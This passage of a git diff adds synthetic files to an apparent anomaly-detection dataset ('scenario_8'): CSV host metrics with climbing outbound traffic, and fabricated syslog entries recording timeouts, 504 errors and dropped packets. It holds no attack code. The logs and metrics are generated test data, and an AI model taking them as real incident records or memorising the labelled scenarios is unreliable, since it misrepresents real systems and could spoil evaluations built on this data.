0000000000000000000000000000000000000000..caf4baa2e79aae34cfc2232d16e2d266d844ea02 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_10.csv @@ -0,0 +1,91 @@ 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+2025-07-02T10:07:20Z,80.70956794273108,43.62597732593455,28.665265172865425,0.9264199098074254,98.53652107306493 +2025-07-02T10:07:25Z,80.35335269363105,40.4088694249436,21.3290981235389,0.6140082745589365,99.392199095784 diff --git a/anom_dataset/scenario_8/anom_8_10.log b/anom_dataset/scenario_8/anom_8_10.log new file mode 100644 index 0000000000000000000000000000000000000000..5df92466a2387563607c88820894c63ccb45a603 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_10.log @@ -0,0 +1,45 @@ +Jul 02 10:00:00 cron[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:10 webapp[4512]: INFO User authenticated successfully user_id=123 +Jul 02 10:00:20 systemd[1]: Started Session 5 of user admin. +Jul 02 10:00:30 webapp[4512]: INFO Processing request for /api/v1/dashboard +Jul 02 10:00:40 cron[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:50 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 ... +Jul 02 10:01:00 nginx[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 10:01:10 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 ... +Jul 02 10:01:20 systemd[1]: Started Session 5 of user admin. +Jul 02 10:01:30 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 ... +Jul 02 10:01:40 webapp[4512]: INFO User authenticated successfully user_id=123 +Jul 02 10:01:50 nginx[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 10:02:00 systemd[1]: Started Session 5 of user admin. +Jul 02 10:02:10 webapp[4512]: INFO User authenticated successfully user_id=123 +Jul 02 10:02:20 nginx[1123]: GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 02 10:02:30 webapp[4512]: WARN High latency detected for request to downstream service 'payment-gateway': 1500ms +Jul 02 10:02:40 webapp[4512]: ERROR Connection timeout when sending notification to user_id=456 +Jul 02 10:02:50 nginx[1123]: WARN Upstream response time is high for /api/v1/orders +Jul 02 10:03:00 webapp[4512]: CRITICAL Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:03:10 kernel: TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 10:03:20 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:03:30 nginx[1123]: WARN Upstream response time is high for /api/v1/orders +Jul 02 10:03:40 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:03:50 nginx[1123]: WARN Upstream response time is high for /api/v1/orders +Jul 02 10:04:00 nginx[1123]: ERROR 504 Gateway Time-out for /api/v1/process_payment +Jul 02 10:04:10 nginx[1123]: WARN Upstream response time is high for /api/v1/orders +Jul 02 10:04:20 webapp[4512]: ERROR Dropping packet for user_id=789 due to full send buffer +Jul 02 10:04:30 nginx[1123]: WARN Upstream response time is high for /api/v1/orders +Jul 02 10:04:40 nginx[1123]: ERROR 504 Gateway Time-out for /api/v1/process_payment +Jul 02 10:04:50 webapp[4512]: WARN High latency detected for request to downstream service 'payment-gateway': 1500ms +Jul 02 10:05:00 webapp[4512]: WARN Database connection pool nearing capacity. +Jul 02 10:05:10 webapp[4512]: ERROR Dropping packet for user_id=789 due to full send buffer +Jul 02 10:05:20 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:05:30 webapp[4512]: WARN High latency detected for request to downstream service 'payment-gateway': 1500ms +Jul 02 10:05:40 webapp[4512]: ERROR Connection timeout when sending notification to user_id=456 +Jul 02 10:05:50 webapp[4512]: ERROR Connection timeout when sending notification to user_id=456 +Jul 02 10:06:00 webapp[4512]: WARN Database connection pool nearing capacity. +Jul 02 10:06:10 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:06:20 webapp[4512]: CRITICAL Failed to connect to message broker at rabbitmq:5672 +Jul 02 10:06:30 webapp[4512]: WARN Database connection pool nearing capacity. +Jul 02 10:06:40 nginx[1123]: ERROR 504 Gateway Time-out for /api/v1/process_payment +Jul 02 10:06:50 nginx[1123]: ERROR 504 Gateway Time-out for /api/v1/process_payment +Jul 02 10:07:00 webapp[4512]: WARN Database connection pool nearing capacity. +Jul 02 10:07:10 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:07:20 webapp[4512]: ERROR Connection timeout when sending notification to user_id=456 diff --git a/anom_dataset/scenario_8/anom_8_11.csv b/anom_dataset/scenario_8/anom_8_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..e6f7b0619c1e55c30ded10069ba43ec1e1056ec3 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23 10:00:00+00:00,16.735662801884903,38.15566662410944,23.491455216554357,14.445880138405837,8.386024667165 +2025-08-23 10:00:05+00:00,16.003955963935248,44.85834472469136,21.097054446796182,5.359471823933461,16.251670226046834 +2025-08-23 10:00:10+00:00,11.604927967285656,41.99576281623505,20.239522347477383,9.925332307209842,52.42897640490559 +2025-08-23 10:00:15+00:00,11.961619988778603,44.13978224109406,26.077777200648587,14.687012802244274,71.70659681606517 +2025-08-23 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10:07:00+00:00,10.173140983264776,38.168993544559676,21.593615890150975,12.137896270541317,950.4091603676487 +2025-08-23 10:07:05+00:00,18.2661193093291,36.51823021379688,21.876030996270924,6.616958157047762,954.335631490839 +2025-08-23 10:07:10+00:00,11.320749753369931,43.36049803541728,25.222113336091706,7.586637976115647,943.0209224919571 +2025-08-23 10:07:15+00:00,14.86679225394087,39.964043647251316,20.102654485793,11.008973504902919,954.7017227635721 +2025-08-23 10:07:20+00:00,16.930540869572933,40.16687355260476,27.840500133679143,11.543305259605381,954.9633388007487 +2025-08-23 10:07:25+00:00,15.091744155827609,39.83583177094832,24.690024655706583,6.213400690727441,957.8359197070989 diff --git a/anom_dataset/scenario_8/anom_8_11.log b/anom_dataset/scenario_8/anom_8_11.log new file mode 100644 index 0000000000000000000000000000000000000000..15c8b0690a067fee367a4cc9a39d5b378db6ce2d --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_11.log @@ -0,0 +1,44 @@ +Aug 23 10:00:00 systemd[1]: Started Session 0 of user appuser. +Aug 23 10:00:00 web-server[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:01:15 systemd[1]: Started Session 15 of user appuser. +Aug 23 10:02:05 web-server[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:02:30 systemd[1]: Started Session 30 of user appuser. +Aug 23 10:03:00 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1527ms +Aug 23 10:03:20 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 2368ms +Aug 23 10:03:30 kernel: nf_conntrack: table full, dropping packet +Aug 23 10:03:40 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1687ms +Aug 23 10:03:45 systemd[1]: Started Session 45 of user appuser. +Aug 23 10:04:00 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1759ms +Aug 23 10:04:05 kernel: nf_conntrack: table full, dropping packet +Aug 23 10:04:10 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:04:10 web-server[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:04:15 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4332ms +Aug 23 10:04:20 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1767ms +Aug 23 10:04:30 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4308ms +Aug 23 10:04:35 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:04:40 kernel: nf_conntrack: table full, dropping packet +Aug 23 10:04:40 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1529ms +Aug 23 10:04:45 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4316ms +Aug 23 10:05:00 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:05:00 systemd[1]: Started Session 60 of user appuser. +Aug 23 10:05:00 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4820ms +Aug 23 10:05:00 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 2247ms +Aug 23 10:05:15 kernel: nf_conntrack: table full, dropping packet +Aug 23 10:05:15 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4924ms +Aug 23 10:05:20 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 1665ms +Aug 23 10:05:25 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:05:30 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4452ms +Aug 23 10:05:40 web-server[1123]: WARN: High latency detected for upstream service 'api-gateway'. Response time: 2060ms +Aug 23 10:05:45 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4696ms +Aug 23 10:05:50 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:06:00 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4642ms +Aug 23 10:06:15 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:06:15 systemd[1]: Started Session 75 of user appuser. +Aug 23 10:06:15 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4139ms +Aug 23 10:06:15 web-server[1123]: GET /healthz HTTP/1.1 200 OK +Aug 23 10:06:30 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4500ms +Aug 23 10:06:40 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:06:45 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4809ms +Aug 23 10:07:00 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4047ms +Aug 23 10:07:05 haproxy[4321]: Connection timed out to backend 'user-service' (10.0.1.23:8080) +Aug 23 10:07:15 web-server[1123]: ERROR: Upstream request to 'data-processor' timed out after 4156ms diff --git a/anom_dataset/scenario_8/anom_8_12.csv b/anom_dataset/scenario_8/anom_8_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..a074330bb77aff7ca24338b96227d81355b4d3dd --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,12.819697653905182,38.47194127331991,25.58447798747157,0.9490251831044534,1.0 +2025-07-02T10:00:05Z,12.33438182905622,40.87665827519954,21.121845528643906,0.8874558060914177,2.6779661016949152 +2025-07-02T10:00:10Z,15.520716481042331,37.93454576200328,24.448540861578138,0.71167008074448,4.3559322033898304 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+2025-07-02T10:07:15Z,86.37154346328943,38.28358701912295,24.855625067165697,0.9017490624137501,99.61387867042153 +2025-07-02T10:07:20Z,86.04502302778513,40.16690080037847,26.75940591663091,0.7829969113094275,100.0 +2025-07-02T10:07:25Z,90.8617125938724,39.79277814127365,26.356653261041924,1.0314066671934483,99.14240450844243 diff --git a/anom_dataset/scenario_8/anom_8_12.log b/anom_dataset/scenario_8/anom_8_12.log new file mode 100644 index 0000000000000000000000000000000000000000..0549bede702ae1c3f49965a025fb1debd0c120ed --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_12.log @@ -0,0 +1,62 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 systemd[1]: Started Session 0 of user ubuntu. +Jul 02 10:00:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:02 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:10 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 02 10:00:20 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:00:35 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 systemd[1]: Started Session 14 of user ubuntu. +Jul 02 10:01:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:45 systemd[1]: Started Session 21 of user ubuntu. +Jul 02 10:02:20 systemd[1]: Started Session 28 of user ubuntu. +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:55 systemd[1]: Started Session 35 of user ubuntu. +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:30 systemd[1]: Started Session 42 of user ubuntu. +Jul 02 10:03:45 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:05 systemd[1]: Started Session 49 of user ubuntu. +Jul 02 10:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:40 systemd[1]: Started Session 56 of user ubuntu. +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:05:00 app[4321]: ERROR upstream request timed out +Jul 02 10:05:05 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:05:10 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:05:15 systemd[1]: Started Session 63 of user ubuntu. +Jul 02 10:05:15 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:05:20 app[4321]: ERROR upstream request timed out +Jul 02 10:05:25 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:05:30 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:05:35 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:05:40 app[4321]: ERROR upstream request timed out +Jul 02 10:05:45 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:50 systemd[1]: Started Session 70 of user ubuntu. +Jul 02 10:05:50 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:05:55 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:06:00 app[4321]: ERROR upstream request timed out +Jul 02 10:06:05 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:06:10 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:06:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:15 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:06:20 app[4321]: ERROR upstream request timed out +Jul 02 10:06:25 systemd[1]: Started Session 77 of user ubuntu. +Jul 02 10:06:25 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:06:30 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:06:35 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:40 app[4321]: ERROR upstream request timed out +Jul 02 10:06:45 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:06:50 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:06:55 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:07:00 systemd[1]: Started Session 84 of user ubuntu. +Jul 02 10:07:00 app[4321]: ERROR upstream request timed out +Jul 02 10:07:05 kernel: nf_conntrack: table full, dropping packet +Jul 02 10:07:10 app[4321]: WARN high latency detected for downstream service payment-gateway +Jul 02 10:07:15 app[4321]: ERROR connection timed out after 30000ms +Jul 02 10:07:20 app[4321]: ERROR upstream request timed out +Jul 02 10:07:25 kernel: nf_conntrack: table full, dropping packet diff --git a/anom_dataset/scenario_8/anom_8_13.csv b/anom_dataset/scenario_8/anom_8_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..144b45da671628d0fd97c4aef7e29cb3d1f78a3d --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,14.286554194160157,38.694674898002326,25.582597398834803,0.7618599271932969,1.7229646332825805 +2025-07-15T10:00:05Z,17.192156493213542,39.12373014174993,30.491417617549452,0.7519924089977994,1.0645532628741115 +2025-07-15T10:00:10Z,14.38648563172251,40.9601982787791,23.750017934161228,0.9496904832814954,1.3719485840362684 +2025-07-15T10:00:15Z,18.445469619667648,42.72729736261812,23.86743519092442,0.9046522522392683,1.045547092396153 +2025-07-15T10:00:20Z,16.896160164135587,40.06536060589446,17.533342533250895,0.8379646388661508,0.692962538038173 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+2025-07-15T10:07:05Z,12.063882420642415,41.580121529402874,25.195467886815784,1.0222301054586203,120.60737140256124 +2025-07-15T10:07:10Z,15.647423668028566,41.45659850359869,22.970470623569106,0.9269663068090329,119.34471501573066 +2025-07-15T10:07:15Z,14.125271872258246,40.12754647078695,21.417215268788052,0.21610466092570568,119.41625516812262 +2025-07-15T10:07:20Z,15.60676319302195,39.29595615840219,22.233254425811246,0.7397670869509941,119.97329832640769 +2025-07-15T10:07:25Z,16.84071306571584,39.32320614979314,25.845166586060834,0.5261686298667418,120.37768378783386 diff --git a/anom_dataset/scenario_8/anom_8_13.log b/anom_dataset/scenario_8/anom_8_13.log new file mode 100644 index 0000000000000000000000000000000000000000..24071af705a473f752093c0553d87009a4cca5af --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_13.log @@ -0,0 +1,40 @@ +Jul 15 10:00:00 systemd[1]: Started Session 10 of user web_server. +Jul 15 10:00:25 systemd[1]: Started Session 11 of user web_server. +Jul 15 10:00:50 systemd[1]: Started Session 12 of user web_server. +Jul 15 10:01:15 systemd[1]: Started Session 13 of user web_server. +Jul 15 10:01:40 systemd[1]: Started Session 14 of user web_server. +Jul 15 10:02:05 systemd[1]: Started Session 15 of user web_server. +Jul 15 10:02:30 systemd[1]: Started Session 16 of user web_server. +Jul 15 10:02:55 systemd[1]: Started Session 17 of user web_server. +Jul 15 10:03:20 systemd[1]: Started Session 18 of user web_server. +Jul 15 10:03:45 systemd[1]: Started Session 19 of user web_server. +Jul 15 10:03:50 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:00 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:05 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:10 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:15 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:25 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:04:35 systemd[1]: Started Session 20 of user web_server. +Jul 15 10:05:00 systemd[1]: Started Session 21 of user web_server. +Jul 15 10:05:25 systemd[1]: Started Session 22 of user web_server. +Jul 15 10:05:35 app-server[8080]: WARN: Experiencing intermittent packet loss to payment-gateway. +Jul 15 10:05:50 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:05:55 nginx[1123]: POST /api/v2/data-upload HTTP/1.1 504 Gateway Timeout +Jul 15 10:06:00 haproxy[4567]: Connection timed out to backend server app-server-1 on port 8080 +Jul 15 10:06:05 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:06:10 kubelet[2345]: INFO routine sync completed for pod frontend-app +Jul 15 10:06:15 systemd[1]: Started Session 23 of user web_server. +Jul 15 10:06:20 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:06:25 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:06:30 app-server[8080]: WARN: High latency detected for outbound API call to external.service.com. Response time: 25000ms. +Jul 15 10:06:35 kubelet[2345]: INFO routine sync completed for pod frontend-app +Jul 15 10:06:40 systemd[1]: Started Session 23 of user web_server. +Jul 15 10:06:45 app-server[8080]: WARN: High latency detected for outbound API call to external.service.com. Response time: 25000ms. +Jul 15 10:06:50 kubelet[2345]: INFO Successfully probed container api-gateway +Jul 15 10:06:55 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:07:00 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:07:05 haproxy[4567]: Connection timed out to backend server app-server-1 on port 8080 +Jul 15 10:07:10 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:07:15 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. +Jul 15 10:07:20 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 15 10:07:25 app-server[8080]: ERROR: Upstream service unavailable. Request timeout after 30000ms. diff --git a/anom_dataset/scenario_8/anom_8_14.csv b/anom_dataset/scenario_8/anom_8_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..92472b3361131ebcf63dcf8a4fbbd539f1d890b3 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,18.75,44.75,27.32,1.1,51.56 +2025-07-15T10:00:05Z,16.56,40.29,28.66,1.1,57.08 +2025-07-15T10:00:10Z,15.21,44.85,28.32,0.71,51.82 +2025-07-15T10:00:15Z,16.83,41.52,25.25,0.93,52.91 +2025-07-15T10:00:20Z,21.12,40.7,22.92,0.87,54.56 +2025-07-15T10:00:25Z,22.85,41.0,25.14,1.09,50.46 +2025-07-15T10:00:30Z,21.08,40.85,20.65,1.45,59.66 +2025-07-15T10:00:35Z,23.08,41.52,20.98,1.18,54.4 +2025-07-15T10:00:40Z,16.22,42.48,20.34,1.41,52.59 +2025-07-15T10:00:45Z,21.63,41.56,25.2,1.05,51.85 +2025-07-15T10:00:50Z,24.7,43.88,29.39,1.39,55.98 +2025-07-15T10:00:55Z,24.22,40.44,21.96,0.55,53.25 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+2025-07-15T10:07:20Z,90.68,44.93,23.74,0.87,125.63 +2025-07-15T10:07:25Z,97.58,44.93,27.53,0.88,124.17 diff --git a/anom_dataset/scenario_8/anom_8_14.log b/anom_dataset/scenario_8/anom_8_14.log new file mode 100644 index 0000000000000000000000000000000000000000..4f4148fdc7dbb7f456adf6d4dc68c7ec41cd45a3 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_14.log @@ -0,0 +1,30 @@ +Jul 15 10:00:00 server-123 app-server[1123]: INFO: Request processed successfully: GET /api/v1/user/profile +Jul 15 10:00:15 server-123 app-server[1123]: INFO: Responded to health check with status 200 OK. +Jul 15 10:00:30 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:00:45 server-123 database-connector[1150]: DEBUG: Connection pool status: 5 active, 10 idle. +Jul 15 10:01:00 server-123 database-connector[1150]: DEBUG: Connection pool status: 5 active, 10 idle. +Jul 15 10:01:15 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:01:30 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:01:45 server-123 database-connector[1150]: DEBUG: Connection pool status: 5 active, 10 idle. +Jul 15 10:02:00 server-123 database-connector[1150]: DEBUG: Connection pool status: 5 active, 10 idle. +Jul 15 10:02:15 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:02:30 server-123 haproxy[56]: 503 response generated for request to backend_api +Jul 15 10:02:45 server-123 app-server[1123]: WARN: Packet loss detected for outbound traffic. Retrying... +Jul 15 10:03:00 server-123 app-server[1123]: ERROR: Failed to send notification to notification-service: Timeout was reached. +Jul 15 10:03:15 server-123 app-server[1123]: ERROR: Upstream service is unreachable. Aborting request. +Jul 15 10:03:30 server-123 app-server[1123]: WARN: High network latency detected for outgoing request to upstream-service. +Jul 15 10:03:45 server-123 app-server[1123]: ERROR: Failed to send notification to notification-service: Timeout was reached. +Jul 15 10:04:00 server-123 database-connector[1150]: DEBUG: Connection pool status: 5 active, 10 idle. +Jul 15 10:04:15 server-123 app-server[1123]: WARN: High network latency detected for outgoing request to upstream-service. +Jul 15 10:04:30 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:04:45 server-123 app-server[1123]: ERROR: Connection to payment-gateway timed out after 30000ms. +Jul 15 10:05:00 server-123 haproxy[56]: 503 response generated for request to backend_api +Jul 15 10:05:15 server-123 haproxy[56]: 503 response generated for request to backend_api +Jul 15 10:05:30 server-123 haproxy[56]: 503 response generated for request to backend_api +Jul 15 10:05:45 server-123 app-server[1123]: INFO: Request processed successfully: GET /api/v1/user/profile +Jul 15 10:06:00 server-123 kernel: net_ratelimit: 126 packets dropped +Jul 15 10:06:15 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:06:30 server-123 app-server[1123]: WARN: High network latency detected for outgoing request to upstream-service. +Jul 15 10:06:45 server-123 app-server[1123]: ERROR: Upstream service is unreachable. Aborting request. +Jul 15 10:07:00 server-123 app-server[1123]: INFO: User 'alex' authenticated successfully. +Jul 15 10:07:15 server-123 app-server[1123]: ERROR: Upstream service is unreachable. Aborting request. diff --git a/anom_dataset/scenario_8/anom_8_15.csv b/anom_dataset/scenario_8/anom_8_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..e80276dc86239a5c6a26b735d8518263104a1d64 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,14.592314796434048,39.20538716458658,23.88995030813352,1.228954211328134,11.462408852169292 +2025-08-24T10:00:05Z,19.347535201864588,39.27789387339063,29.425641808158918,0.896587495576143,10.324203914785436 +2025-08-24T10:00:10Z,17.594537973628697,39.02762201733642,29.97887147083926,0.7877779351226386,8.499553810304997 +2025-08-24T10:00:15Z,15.274143872235406,36.788261847936,20.137009419742267,1.0469738742837542,12.694665784679035 +2025-08-24T10:00:20Z,10.88067875534676,37.618172595613075,21.497530392399142,1.3382475327490466,9.451280623933677 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authentication successful for user "test-user" +Aug 24 10:01:40 systemd[1]: Started Session 120 of user ubuntu. +Aug 24 10:02:30 systemd[1]: Started Session 130 of user ubuntu. +Aug 24 10:02:30 web-app[1234]: INFO: User authentication successful for user "test-user" +Aug 24 10:03:20 systemd[1]: Started Session 140 of user ubuntu. +Aug 24 10:03:45 web-app[1234]: INFO: User authentication successful for user "test-user" +Aug 24 10:04:10 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:04:10 systemd[1]: Started Session 150 of user ubuntu. +Aug 24 10:04:15 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5097 ms. +Aug 24 10:04:20 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:04:25 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2803ms +Aug 24 10:04:30 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:04:35 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5037 ms. +Aug 24 10:04:40 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:04:45 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2656ms +Aug 24 10:04:50 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:04:55 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5077 ms. +Aug 24 10:05:00 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:05:00 systemd[1]: Started Session 160 of user ubuntu. +Aug 24 10:05:00 web-app[1234]: INFO: User authentication successful for user "test-user" +Aug 24 10:05:05 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2727ms +Aug 24 10:05:10 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:05:15 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5048 ms. +Aug 24 10:05:20 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:05:25 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2761ms +Aug 24 10:05:30 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 10:05:35 web-app[1234]: ERROR: Failed to send data to external service: Request timed out after 5062 ms. +Aug 24 10:05:40 nginx[1123]: [error] 1123#1123: *1 upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.105, server: my-app.com, request: "POST /api/upload HTTP/1.1", upstream: "http://10.0.0.5:8080/api/upload", host: "my-app.com" +Aug 24 10:05:45 web-app[1234]: WARN: High latency detected for endpoint /api/data. Response time: 2756ms +Aug 24 10:05:50 kernel: [13542.132] net_ratelimit: 57 packets suppressed +Aug 24 